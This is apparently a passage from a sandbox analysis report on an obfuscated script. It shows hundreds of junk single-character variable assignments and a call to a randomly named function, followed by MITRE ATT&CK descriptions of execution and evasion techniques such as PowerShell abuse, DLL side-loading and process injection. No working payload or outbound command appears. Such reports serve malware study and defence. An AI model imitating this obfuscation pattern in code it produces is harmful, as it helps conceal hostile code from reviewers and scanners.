237	rvxivkfdo = "Q";
238	rvxivkfdo = "H";
239	rvxivkfdo = "Q";
240	rvxivkfdo = "X";
241	rvxivkfdo = "k";
242	rvxivkfdo = "J";
243	rvxivkfdo = "K";
244	rvxivkfdo = "J";
245	rvxivkfdo = "x";
246	rvxivkfdo = "R";
247	rvxivkfdo = "I";
248	rvxivkfdo = "g";
249	rvxivkfdo = "a";
250	rvxivkfdo = "A";
251	rvxivkfdo = "U";
252	rvxivkfdo = "F";
253	rvxivkfdo = "Q";
254	rvxivkfdo = "l";
255	rvxivkfdo = "Z";
256	rvxivkfdo = "f";
257	rvxivkfdo = "l";
258	rvxivkfdo = "U";
259	rvxivkfdo = "K";
260	rvxivkfdo = "R";
261	rvxivkfdo = "F";
262	rvxivkfdo = "W";
263	rvxivkfdo = "T";
264	rvxivkfdo = "X";
265	rvxivkfdo = "r";
266	rvxivkfdo = "e";
267	rvxivkfdo = "m";
268	rvxivkfdo = "W";
269	rvxivkfdo = "N";
270	yoazsah = "s";
271	yoazsah = "F";
272	yoazsah = "G";
273	yoazsah = "Z";
274	yoazsah = "E";
275	yoazsah = "I";
276	yoazsah = "P";
277	yoazsah = "X";
278	yoazsah = "F";
279	yoazsah = "m";
280	pkoymxseh = "A";
281	pkoymxseh = "T";
282	pkoymxseh = "L";
283	pkoymxseh = "A";
284	pkoymxseh = "L";
285	pkoymxseh = "N";
286	pkoymxseh = "X";
287	pkoymxseh = "Y";
288	pkoymxseh = "X";
289	pkoymxseh = "Q";
290	pkoymxseh = "N";
291	pkoymxseh = "g";
292	pkoymxseh = "N";
293	pkoymxseh = "t";
294	pkoymxseh = "l";
295	krqqsnv = "A";
296	krqqsnv = "m";
297	krqqsnv = "K";
298	krqqsnv = "o";
299	krqqsnv = "P";
300	krqqsnv = "s";
301	krqqsnv = "M";
302	krqqsnv = "k";
303	krqqsnv = "a";
304	krqqsnv = "Q";
305	krqqsnv = "O";
306	krqqsnv = "u";
307	krqqsnv = "A";
308	krqqsnv = "o";
309	krqqsnv = "j";
310	krqqsnv = "P";
311	krqqsnv = "o";
312	krqqsnv = "S";
313	krqqsnv = "P";
314	krqqsnv = "K";
315	krqqsnv = "m";
316	krqqsnv = "J";
317	krqqsnv = "Q";
318	krqqsnv = "f";
319	krqqsnv = "U";
320	krqqsnv = "t";
321	krqqsnv = "f";
322	uwzzovw = "l";
323	uwzzovw = "v";
324	uwzzovw = "j";
325	uwzzovw = "K";
326	uwzzovw = "s";
327	uwzzovw = "L";
328	uwzzovw = "M";
329	uwzzovw = "j";
330	uwzzovw = "p";
331	uwzzovw = "D";
332	uwzzovw = "G";
333	uwzzovw = "l";
334	uwzzovw = "R";
335	uwzzovw = "u";
336	uwzzovw = "Y";
337	uwzzovw = "x";
338	uwzzovw = "2";
339	zcinym = "c";
340	zcinym = "G";
341	zcinym = "U";
342	zcinym = "f";
343	zcinym = "s";
344	zcinym = "y";
345	zcinym = "v";
346	zcinym = "F";
347	zcinym = "J";
348	zcinym = "k";
349	zcinym = "Q";
350	dhamre = "O";
351	dhamre = "D";
352	dhamre = "r";
353	dhamre = "Y";
354	dhamre = "Y";
355	dhamre = "O";
356	dhamre = "i";
357	dhamre = "H";
358	dhamre = "v";
359	dhamre = "E";
360	dhamre = "N";
361	dhamre = "W";
362	dhamre = "q";
363	dhamre = "a";
364	dhamre = "U";
365	dhamre = "O";
366	dhamre = "P";
367	dhamre = "z";
368	dhamre = "D";
369	dhamre = "v";
370	dhamre = "X";
371	dhamre = "D";
372	dhamre = "5";
373	ttdstq = "y";
374	ttdstq = "n";
375	ttdstq = "p";
376	ttdstq = "U";
377	ttdstq = "E";
378	ttdstq = "C";
379	ttdstq = "O";
380	ttdstq = "i";
381	ttdstq = "b";
382	ttdstq = "B";
383	ttdstq = "I";
384	ttdstq = "V";
385	ttdstq = "C";
386	ttdstq = "z";
387	ttdstq = "y";
388	ttdstq = "O";
389	ttdstq = "V";
390	ttdstq = "J";
391	ttdstq = "h";
392	ttdstq = "H";
393	ttdstq = "t";
394	ttdstq = "v";
395	ttdstq = "Z";
396	ttdstq = "L";
397	ttdstq = "D";
398	ttdstq = "p";
399	ttdstq = "M";
400	ttdstq = "x";
401	ttdstq = "d";
402	ttdstq = "r";
403	ttdstq = "K";
404	ttdstq = "f";
405	ttdstq = "p";
406	ttdstq = "K";
407	ttdstq = "k";
408	ttdstq = "T";
409	gisrpna = ":";
410	nrayjkzsj = "E";
411	nrayjkzsj = "i";
412	nrayjkzsj = "Q";
413	nrayjkzsj = "B";
414	nrayjkzsj = "n";
415	nrayjkzsj = "Z";
416	nrayjkzsj = "o";
417	nrayjkzsj = "f";
418	nrayjkzsj = "p";
419	nrayjkzsj = "A";
420	nrayjkzsj = "D";
421	nrayjkzsj = "d";
422	nrayjkzsj = "N";
423	nrayjkzsj = "j";
424	nrayjkzsj = "G";
425	nrayjkzsj = "M";
426	nrayjkzsj = "r";
427	nrayjkzsj = "W";
428	nrayjkzsj = "S";
429	nrayjkzsj = "q";
430	nrayjkzsj = "f";
431	nrayjkzsj = "S";
432	nrayjkzsj = "o";
433	nrayjkzsj = "r";
434	nrayjkzsj = "F";
435	nrayjkzsj = "v";
436	nrayjkzsj = "F";
437	nrayjkzsj = "c";
438	nrayjkzsj = "@";
439	qirwn = "L";
440	qirwn = "V";
441	qirwn = "l";
442	qirwn = "R";
443	qirwn = "b";
444	qirwn = "o";
445	qirwn = "c";
446	qirwn = "h";
447	qirwn = "C";
448	qirwn = "p";
449	qirwn = "l";
450	qirwn = "u";
451	qirwn = "k";
452	qirwn = "Y";
453	qirwn = "t";
454	qirwn = "X";
455	qirwn = "y";
456	qirwn = "B";
457	qirwn = "V";
458	qirwn = "q";
459	qirwn = "p";
460	qirwn = "t";
461	qirwn = "u";
462	qirwn = "l";
463	qirwn = "y";
464	qirwn = "n";
465	qirwn = "A";
466	qirwn = "J";
467	qirwn = "P";
468	qirwn = "j";
469	qirwn = "E";
470	qirwn = "y";
471	qirwn = "U";
472	qirwn = "Q";
473	qirwn = "G";
474	qirwn = "C";
475	qirwn = "l";
476	qirwn = "T";
477	qirwn = "f";
478	qirwn = "Z";
479	qirwn = "E";
480	qirwn = "S";
481	maxrvu = "Y";
482	maxrvu = "D";
483	maxrvu = "Q";
484	maxrvu = "I";
485	maxrvu = "c";
486	maxrvu = "H";
487	gbggk = "j";
488	gbggk = "l";
489	gbggk = "Q";
490	gbggk = "G";
491	gbggk = "D";
492	gbggk = "K";
493	gbggk = "p";
494	gbggk = "f";
495	gbggk = "Y";
496	gbggk = "t";
497	gbggk = "z";
498	gbggk = "D";
499	gbggk = "v";
500	gbggk = "L";
501	gbggk = "a";
502	gbggk = "Z";
503	gbggk = "E";
504	gbggk = "n";
505	gbggk = "r";
506	gbggk = "O";
507	gbggk = "t";
508	gbggk = "H";
509	gbggk = "3";
510	lxnfuumyp = "I";
511	lxnfuumyp = "f";
512	lxnfuumyp = "m";
513	lxnfuumyp = "X";
514	lxnfuumyp = "e";
515	lxnfuumyp = "J";
516	lxnfuumyp = "S";
517	lxnfuumyp = "L";
518	lxnfuumyp = "i";
519	lxnfuumyp = "m";
520	lxnfuumyp = "Z";
521	lxnfuumyp = "s";
522	lxnfuumyp = "T";
523	lxnfuumyp = "j";
524	lxnfuumyp = "b";
525	lxnfuumyp = "i";
526	lxnfuumyp = "N";
527	lxnfuumyp = "b";
528	lxnfuumyp = "i";
529	lxnfuumyp = "n";
530	lxnfuumyp = "d";
531	lxnfuumyp = "g";
532	lxnfuumyp = "a";
533	lxnfuumyp = "p";
534	lxnfuumyp = "C";
535	lxnfuumyp = "n";
536	lxnfuumyp = "F";
537	lxnfuumyp = "Q";
538	lxnfuumyp = "n";
539	lxnfuumyp = "Q";
540	lxnfuumyp = "g";
541	lxnfuumyp = "l";
542	lxnfuumyp = "W";
543	frmriyar = "R";
544	frmriyar = "J";
545	frmriyar = "N";
546	frmriyar = "t";
547	frmriyar = "V";
548	frmriyar = "P";
549	frmriyar = "p";
550	frmriyar = "Q";
551	frmriyar = "x";
552	frmriyar = "t";
553	frmriyar = "W";
554	frmriyar = "B";
555	frmriyar = "W";
556	frmriyar = "a";
557	frmriyar = "G";
558	frmriyar = "J";
559	frmriyar = "r";
560	frmriyar = "R";
561	frmriyar = "f";
562	frmriyar = "q";
563	frmriyar = "U";
564	frmriyar = "X";
565	frmriyar = "z";
566	frmriyar = "Y";
567	frmriyar = "s";
568	frmriyar = "q";
569	frmriyar = "C";
570	srggzxow = "U";
571	srggzxow = "X";
572	srggzxow = "H";
573	srggzxow = "T";
574	srggzxow = "H";
575	srggzxow = "x";
576	srggzxow = "G";
577	srggzxow = "G";
578	srggzxow = "e";
579	srggzxow = "q";
580	srggzxow = "E";
581	srggzxow = "C";
582	srggzxow = "F";
583	srggzxow = "b";
584	srggzxow = "F";
585	srggzxow = "M";
586	srggzxow = "B";
587	srggzxow = "M";
588	srggzxow = "x";
589	srggzxow = "N";
590	srggzxow = "V";
591	srggzxow = "n";
592	srggzxow = "h";
593	srggzxow = "l";
594	srggzxow = "y";
595	srggzxow = "w";
596	srggzxow = "N";
597	srggzxow = "I";
598	srggzxow = "D";
599	srggzxow = "A";
600	srggzxow = "o";
601	srggzxow = "j";
602	srggzxow = "C";
603	srggzxow = "g";
604	srggzxow = "L";
605	srggzxow = "h";
606	srggzxow = "P";
607	srggzxow = "p";
608	gazsq = "h";
609	dheltbflt = "y";
610	dheltbflt = "p";
611	dheltbflt = "D";
612	dheltbflt = "t";
613	dheltbflt = "V";
614	dheltbflt = "K";
615	dheltbflt = "Y";
616	dheltbflt = "h";
617	dheltbflt = "l";
618	dheltbflt = "p";
619	dheltbflt = "J";
620	dheltbflt = "V";
621	dheltbflt = "j";
622	dheltbflt = "b";
623	dheltbflt = "W";
624	dheltbflt = "u";
625	dheltbflt = "M";
626	dheltbflt = "S";
627	dheltbflt = "h";
628	dheltbflt = "q";
629	dheltbflt = "P";
630	dheltbflt = "u";
631	dheltbflt = "8";
632	qdqvhc = "A";
633	qdqvhc = "E";
634	qdqvhc = "n";
635	qdqvhc = "x";
636	qdqvhc = "m";
637	qdqvhc = "y";
638	qdqvhc = "i";
639	qdqvhc = "u";
640	qdqvhc = "i";
641	qdqvhc = "Y";
642	qdqvhc = "r";
643	qdqvhc = "L";
644	qdqvhc = "O";
645	qdqvhc = "h";
646	qdqvhc = "j";
647	qdqvhc = "Z";
648	qdqvhc = "W";
649	qdqvhc = "K";
650	qdqvhc = "D";
651	qdqvhc = "t";
652	qdqvhc = "i";
653	sosfhixas = "P";
654	sosfhixas = "V";
655	sosfhixas = "y";
656	sosfhixas = "u";
657	sosfhixas = "f";
658	sosfhixas = "G";
659	sosfhixas = "u";
660	sosfhixas = "k";
661	sosfhixas = "p";
662	sosfhixas = "W";
663	sosfhixas = "a";
664	sosfhixas = "j";
665	sosfhixas = "w";
666	sosfhixas = "l";
667	sosfhixas = "I";
668	sosfhixas = "A";
669	sosfhixas = "C";
670	sosfhixas = "m";
671	sosfhixas = "F";
672	sosfhixas = "6";
673	sicdqd = "g";
674	sicdqd = "c";
675	sicdqd = "H";
676	sicdqd = "W";
677	sicdqd = "O";
678	sicdqd = "o";
679	sicdqd = "y";
680	sicdqd = "b";
681	sicdqd = "R";
682	sicdqd = "c";
683	sicdqd = "A";
684	sicdqd = "y";
685	sicdqd = "L";
686	sicdqd = "R";
687	sicdqd = "D";
688	sicdqd = "P";
689	sicdqd = "U";
690	sicdqd = "i";
691	sicdqd = "a";
692	sicdqd = "P";
693	sicdqd = "R";
694	bqkzrlbie = "l";
695	bqkzrlbie = "m";
696	bqkzrlbie = "d";
697	bqkzrlbie = "n";
698	bqkzrlbie = "u";
699	bqkzrlbie = "O";
700	bqkzrlbie = "D";
701	bqkzrlbie = "d";
702	bqkzrlbie = "o";
703	bqkzrlbie = "H";
704	bqkzrlbie = "I";
705	bqkzrlbie = "s";
706	bqkzrlbie = "G";
707	bqkzrlbie = "R";
708	bqkzrlbie = "Y";
709	bqkzrlbie = "y";
710	bqkzrlbie = "f";
711	bqkzrlbie = "D";
712	bqkzrlbie = "l";
713	bqkzrlbie = "v";
714	bqkzrlbie = "P";
715	bqkzrlbie = "m";
716	bqkzrlbie = "B";
717	bqkzrlbie = "n";
718	bqkzrlbie = "l";
719	bqkzrlbie = "K";
720	bqkzrlbie = "V";
721	bqkzrlbie = "K";
722	bqkzrlbie = "q";
723	bqkzrlbie = "a";
724	mnjteklj = "L";
725	mnjteklj = "q";
726	mnjteklj = "B";
727	mnjteklj = "X";
728	mnjteklj = "c";
729	mnjteklj = "Q";
730	mnjteklj = "b";
731	mnjteklj = "q";
732	mnjteklj = "t";
733	mnjteklj = "G";
734	mnjteklj = "r";
735	mnjteklj = "I";
736	reruik = "B";
737	reruik = "B";
738	reruik = "k";
739	reruik = "z";
740	reruik = "f";
741	reruik = "X";
742	reruik = "t";
743	reruik = "W";
744	reruik = "R";
745	reruik = "s";
746	reruik = "r";
747	reruik = "K";
748	reruik = "q";
749	bfssbb = "E";
750	bfssbb = "c";
751	bfssbb = "g";
752	bfssbb = "U";
753	bfssbb = "s";
754	bfssbb = "E";
755	bfssbb = "C";
756	bfssbb = "H";
757	bfssbb = "J";
758	bfssbb = "U";
759	bfssbb = "u";
760	bfssbb = "X";
761	bfssbb = "u";
762	bfssbb = "A";
763	bfssbb = "Z";
764	bfssbb = "x";
765	bfssbb = "A";
766	bfssbb = "X";
767	bfssbb = "I";
768	bfssbb = "T";
769	bfssbb = "A";
770	bfssbb = "p";
771	bfssbb = "r";
772	bfssbb = "P";
773	bfssbb = "c";
774	bfssbb = "b";
775	bfssbb = "U";
776	bfssbb = "o";
777	bfssbb = "G";
778	bfssbb = "l";
779	bfssbb = "k";
780	bfssbb = "E";
781	bfssbb = "u";
782	bfssbb = "n";
783	bfssbb = "z";
784	bfssbb = "E";
785	bfssbb = "T";
786	bfssbb = "G";
787	bfssbb = "E";
788	bfssbb = "G";
789	bfssbb = ".";
790	tjyogewvg = "N";
791	tjyogewvg = "S";
792	tjyogewvg = "r";
793	tjyogewvg = "Q";
794	tjyogewvg = "u";
795	tjyogewvg = "m";
796	tjyogewvg = "R";
797	tjyogewvg = "u";
798	tjyogewvg = "e";
799	tjyogewvg = "G";
800	tjyogewvg = "r";
801	tjyogewvg = "Y";
802	tjyogewvg = "E";
803	tjyogewvg = "a";
804	tjyogewvg = "l";
805	tjyogewvg = "c";
806	tjyogewvg = "U";
807	tjyogewvg = "L";
808	jaqbnvksp = "W";
809	jaqbnvksp = "E";
810	jaqbnvksp = "c";
811	kvqfeuyh = "Z";
812	kvqfeuyh = "w";
813	kvqfeuyh = "K";
814	kvqfeuyh = "A";
815	kvqfeuyh = "p";
816	kvqfeuyh = "i";
817	kvqfeuyh = "J";
818	kvqfeuyh = "Q";
819	kvqfeuyh = "h";
820	kvqfeuyh = "J";
821	kvqfeuyh = "v";
822	kvqfeuyh = "K";
823	kvqfeuyh = "y";
824	kvqfeuyh = "D";
825	kvqfeuyh = "b";
826	kvqfeuyh = "w";
827	kvqfeuyh = "d";
828	kvqfeuyh = "M";
829	kvqfeuyh = "D";
830	kvqfeuyh = "j";
831	dgquqjsfh = "I";
832	dgquqjsfh = "S";
833	dgquqjsfh = "c";
834	dgquqjsfh = "R";
835	dgquqjsfh = "/";
836	knxui = "p";
837	knxui = "P";
838	knxui = "h";
839	knxui = "o";
840	knxui = "p";
841	knxui = "L";
842	knxui = "p";
843	knxui = "M";
844	knxui = "L";
845	knxui = "N";
846	knxui = "f";
847	knxui = "l";
848	knxui = "j";
849	knxui = "X";
850	knxui = "t";
851	knxui = "K";
852	knxui = "Z";
853	knxui = "R";
854	knxui = "k";
855	knxui = "y";
856	knxui = "s";
857	knxui = "l";
858	knxui = "F";
859	knxui = "S";
860	knxui = "s";
861	knxui = "T";
862	knxui = "\"";
863	jbvxijd = "V";
864	jbvxijd = "Q";
865	jbvxijd = "M";
866	jbvxijd = "p";
867	jbvxijd = "e";
868	jbvxijd = "g";
869	jbvxijd = "T";
870	jbvxijd = "J";
871	jbvxijd = "c";
872	jbvxijd = "Q";
873	jbvxijd = "V";
874	jbvxijd = "l";
875	jbvxijd = "l";
876	jbvxijd = "f";
877	jbvxijd = "L";
878	jbvxijd = "b";
879	jbvxijd = "U";
880	jbvxijd = "K";
881	jbvxijd = "g";
882	jbvxijd = "r";
883	jbvxijd = "P";
884	jbvxijd = "r";
885	jbvxijd = "w";
886	jbvxijd = "W";
887	jbvxijd = "m";
888	jbvxijd = "X";
889	jbvxijd = "d";
890	jbvxijd = "F";
891	jbvxijd = "a";
892	jbvxijd = "w";
893	jbvxijd = "W";
894	jbvxijd = "i";
895	jbvxijd = "w";
896	jbvxijd = "b";
897	jbvxijd = "O";
898	jbvxijd = "a";
899	jbvxijd = "n";
900	wcdar = "r";
901	wcdar = "s";
902	wcdar = "u";
903	wcdar = "p";
904	wcdar = "L";
905	wcdar = "a";
906	wcdar = "A";
907	wcdar = "W";
908	wcdar = "I";
909	wcdar = "w";
910	wcdar = "G";
911	wcdar = "x";
912	wcdar = "A";
913	wcdar = "a";
914	wcdar = "H";
915	wcdar = "X";
916	wcdar = "e";
917	fezuy = "k";
918	fezuy = "L";
919	fezuy = "u";
920	fezuy = "N";
921	fezuy = "H";
922	fezuy = "d";
923	fezuy = "G";
924	fezuy = "S";
925	fezuy = "i";
926	fezuy = "R";
927	fezuy = "H";
928	fezuy = "Y";
929	fezuy = "y";
930	fezuy = "X";
931	fezuy = "Y";
932	vnbih = "f";
933	vnbih = "w";
934	vnbih = "l";
935	vnbih = "W";
936	vnbih = "h";
937	vnbih = "I";
938	vnbih = "R";
939	vnbih = "X";
940	vnbih = "d";
941	vnbih = "D";
942	vnbih = "N";
943	vnbih = "e";
944	vnbih = "Y";
945	vnbih = "L";
946	vnbih = "R";
947	vnbih = "v";
948	izbneio = "J";
949	izbneio = "m";
950	izbneio = "F";
951	izbneio = "D";
952	izbneio = "x";
953	fqxyvgzjc = "I";
954	fqxyvgzjc = "I";
955	fqxyvgzjc = "l";
956	fqxyvgzjc = "I";
957	fqxyvgzjc = "a";
958	fqxyvgzjc = "m";
959	fqxyvgzjc = "Q";
960	fqxyvgzjc = "d";
961	fqxyvgzjc = "O";
962	whjjo = "o";
963	whjjo = "L";
964	whjjo = "E";
965	whjjo = "T";
966	whjjo = "b";
967	whjjo = "V";
968	whjjo = "Q";
969	whjjo = "l";
970	whjjo = "H";
971	whjjo = "n";
972	whjjo = "P";
973	whjjo = "D";
974	whjjo = "R";
975	whjjo = "T";
976	whjjo = "A";
977	whjjo = "U";
978	whjjo = "F";
979	whjjo = "Q";
980	whjjo = "K";
981	whjjo = "j";
982	whjjo = "b";
983	whjjo = "u";
984	yyobf = "C";
985	yyobf = "q";
986	yyobf = "T";
987	yyobf = "b";
988	yyobf = "t";
989	epfthlveu = "E";
990	epfthlveu = "a";
991	epfthlveu = "b";
992	epfthlveu = "E";
993	epfthlveu = "_";
994	thlkihang = "Q";
995	thlkihang = "Q";
996	thlkihang = "N";
997	thlkihang = "Y";
998	thlkihang = "f";
999	thlkihang = "r";
1000	thlkihang = "Q";
1001	thlkihang = "P";
1002	thlkihang = "W";
1003	thlkihang = "V";
1004	thlkihang = "I";
1005	thlkihang = "g";
1006	thlkihang = "a";
1007	thlkihang = "F";
1008	thlkihang = "X";
1009	thlkihang = "O";
1010	thlkihang = "k";
1011	thlkihang = "N";
1012	thlkihang = "D";
1013	thlkihang = "b";
1014	thlkihang = "T";
1015	thlkihang = "i";
1016	thlkihang = "r";
1017	thlkihang = "z";
1018	thlkihang = "9";
1019	kjsxyuv = "D";
1020	kjsxyuv = "y";
1021	kjsxyuv = "j";
1022	kjsxyuv = "f";
1023	kjsxyuv = "G";
1024	kjsxyuv = "j";
1025	kjsxyuv = "o";
1026	kjsxyuv = "X";
1027	kjsxyuv = "Z";
1028	kjsxyuv = "C";
1029	kjsxyuv = "J";
1030	kjsxyuv = "S";
1031	kjsxyuv = "s";
1032	kjsxyuv = "d";
1033	kjsxyuv = "J";
1034	kjsxyuv = "X";
1035	kjsxyuv = "a";
1036	kjsxyuv = "O";
1037	kjsxyuv = "I";
1038	kjsxyuv = "I";
1039	kjsxyuv = "T";
1040	kjsxyuv = "l";
1041	kjsxyuv = "v";
1042	kjsxyuv = "Z";
1043	kjsxyuv = "H";
1044	kjsxyuv = "L";
1045	kjsxyuv = "d";
1046	rbvycmy = "f";
1047	rbvycmy = "P";
1048	rbvycmy = "F";
1049	rbvycmy = "E";
1050	rbvycmy = "f";
1051	rbvycmy = "l";
1052	rbvycmy = "E";
1053	rbvycmy = "F";
1054	rbvycmy = "g";
1055	rbvycmy = "s";
1056	rbvycmy = "E";
1057	rbvycmy = "F";
1058	rbvycmy = "v";
1059	rbvycmy = "z";
1060	rbvycmy = "x";
1061	rbvycmy = "y";
1062	rbvycmy = "e";
1063	rbvycmy = "h";
1064	rbvycmy = "m";
1065	rbvycmy = "b";
1066	rbvycmy = "D";
1067	rbvycmy = "G";
1068	rbvycmy = "Q";
1069	rbvycmy = "H";
1070	rbvycmy = "Z";
1071	rbvycmy = "Z";
1072	rbvycmy = "O";
1073	rbvycmy = "U";
1074	rbvycmy = "J";
1075	rbvycmy = "c";
1076	rbvycmy = "T";
1077	rbvycmy = "O";
1078	rbvycmy = "L";
1079	rbvycmy = "L";
1080	rbvycmy = "v";
1081	rbvycmy = "k";
1082	rbvycmy = "D";
1083	rbvycmy = "v";
1084	rbvycmy = "Y";
1085	rbvycmy = "E";
1086	rbvycmy = "n";
1087	rbvycmy = "k";
1088	rbvycmy = "S";
1089	rbvycmy = "%";
1090	mgbns = "B";
1091	mgbns = "O";
1092	mgbns = "F";
1093	mgbns = "j";
1094	mgbns = "d";
1095	mgbns = "y";
1096	mgbns = "b";
1097	mgbns = "t";
1098	mgbns = "R";
1099	mgbns = "v";
1100	mgbns = "x";
1101	mgbns = "E";
1102	mgbns = "x";
1103	mgbns = "T";
1104	mgbns = "b";
1105	mgbns = "r";
1106	mgbns = "v";
1107	mgbns = "v";
1108	mgbns = "I";
1109	mgbns = "Z";
1110	mgbns = "j";
1111	mgbns = "w";
1112	mgbns = "q";
1113	mgbns = "Z";
1114	mgbns = "X";
1115	mgbns = "g";
1116	mgbns = "V";
1117	mgbns = "q";
1118	mgbns = "y";
1119	mgbns = "f";
1120	mgbns = "E";
1121	mgbns = "j";
1122	mgbns = "b";
1123	mgbns = "B";
1124	mgbns = "y";
1125	mgbns = "Y";
1126	mgbns = "H";
1127	mgbns = "F";
1128	mgbns = "T";
1129	mgbns = "M";
1130	mgbns = "V";
1131	mgbns = "B";
1132	mgbns = "j";
1133	mgbns = "i";
1134	mgbns = "r";
1135	kipudiyr = "v";
1136	kipudiyr = "R";
1137	kipudiyr = "O";
1138	kipudiyr = "A";
1139	kipudiyr = "N";
1140	kipudiyr = "w";
1141	cxorbdw = "E";
1142	cxorbdw = "z";
1143	cxorbdw = "r";
1144	cxorbdw = "u";
1145	cxorbdw = "i";
1146	cxorbdw = "R";
1147	cxorbdw = "N";
1148	cxorbdw = "f";
1149	cxorbdw = "q";
1150	cxorbdw = "G";
1151	cxorbdw = "C";
1152	cxorbdw = "E";
1153	cxorbdw = "v";
1154	cxorbdw = "Y";
1155	cxorbdw = "U";
1156	cxorbdw = "i";
1157	cxorbdw = "Q";
1158	cxorbdw = "D";
1159	cxorbdw = "k";
1160	cxorbdw = "I";
1161	cxorbdw = "d";
1162	cxorbdw = "R";
1163	cxorbdw = "x";
1164	cxorbdw = "C";
1165	cxorbdw = "y";
1166	cxorbdw = "X";
1167	cxorbdw = "E";
1168	cxorbdw = "V";
1169	cxorbdw = "V";
1170	cxorbdw = "Y";
1171	cxorbdw = "T";
1172	cxorbdw = "U";
1173	cxorbdw = "E";
1174	cxorbdw = "K";
1175	ixslilwun = "k";
1176	tskfwilrt = "s";
1177	tskfwilrt = "o";
1178	qwxemyn = "N";
1179	qwxemyn = "y";
1180	qwxemyn = "s";
1181	qwxemyn = "u";
1182	qwxemyn = "i";
1183	qwxemyn = "I";
1184	qwxemyn = "C";
1185	qwxemyn = "R";
1186	qwxemyn = "o";
1187	qwxemyn = "d";
1188	qwxemyn = "U";
1189	qwxemyn = "E";
1190	qwxemyn = "B";
1191	qwxemyn = "h";
1192	qwxemyn = "F";
1193	byaorfvjw = "U";
1194	byaorfvjw = "P";
1195	byaorfvjw = "F";
1196	byaorfvjw = "E";
1197	byaorfvjw = "k";
1198	byaorfvjw = "a";
1199	byaorfvjw = "a";
1200	byaorfvjw = "j";
1201	byaorfvjw = "E";
1202	byaorfvjw = "A";
1203	byaorfvjw = "X";
1204	byaorfvjw = "H";
1205	byaorfvjw = "E";
1206	byaorfvjw = "K";
1207	byaorfvjw = "t";
1208	byaorfvjw = "a";
1209	byaorfvjw = "j";
1210	byaorfvjw = "V";
1211	byaorfvjw = "k";
1212	byaorfvjw = "X";
1213	byaorfvjw = "T";
1214	byaorfvjw = "O";
1215	byaorfvjw = "M";
1216	byaorfvjw = "g";
1217	byaorfvjw = "a";
1218	byaorfvjw = "p";
1219	byaorfvjw = "g";
1220	trnqvjxa = "I";
1221	trnqvjxa = "i";
1222	trnqvjxa = "O";
1223	trnqvjxa = "T";
1224	trnqvjxa = "g";
1225	trnqvjxa = "K";
1226	trnqvjxa = "C";
1227	trnqvjxa = "b";
1228	trnqvjxa = "P";
1229	trnqvjxa = "a";
1230	trnqvjxa = "z";
1231	trnqvjxa = "J";
1232	trnqvjxa = "f";
1233	trnqvjxa = "O";
1234	trnqvjxa = "4";
1235	erliia = "R";
1236	erliia = "Z";
1237	erliia = "Q";
1238	erliia = "U";
1239	erliia = "i";
1240	erliia = "s";
1241	erliia = "N";
1242	erliia = "Q";
1243	erliia = "y";
1244	erliia = "h";
1245	erliia = "W";
1246	erliia = "b";
1247	erliia = "L";
1248	erliia = "u";
1249	erliia = "i";
1250	erliia = "v";
1251	erliia = "V";
1252	erliia = "I";
1253	erliia = "G";
1254	erliia = "s";
1255	erliia = "o";
1256	erliia = "c";
1257	erliia = "l";
1258	erliia = "G";
1259	erliia = "k";
1260	erliia = "t";
1261	erliia = "y";
1262	erliia = "e";
1263	erliia = "m";
1264	erliia = "Z";
1265	erliia = "u";
1266	erliia = "H";
1267	erliia = "o";
1268	erliia = "y";
1269	erliia = "e";
1270	erliia = "i";
1271	erliia = "&";
1272	xkrkrx = "t";
1273	xkrkrx = "r";
1274	xkrkrx = "S";
1275	xkrkrx = "a";
1276	xkrkrx = "U";
1277	xqnowucb ( );	xqnowucb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
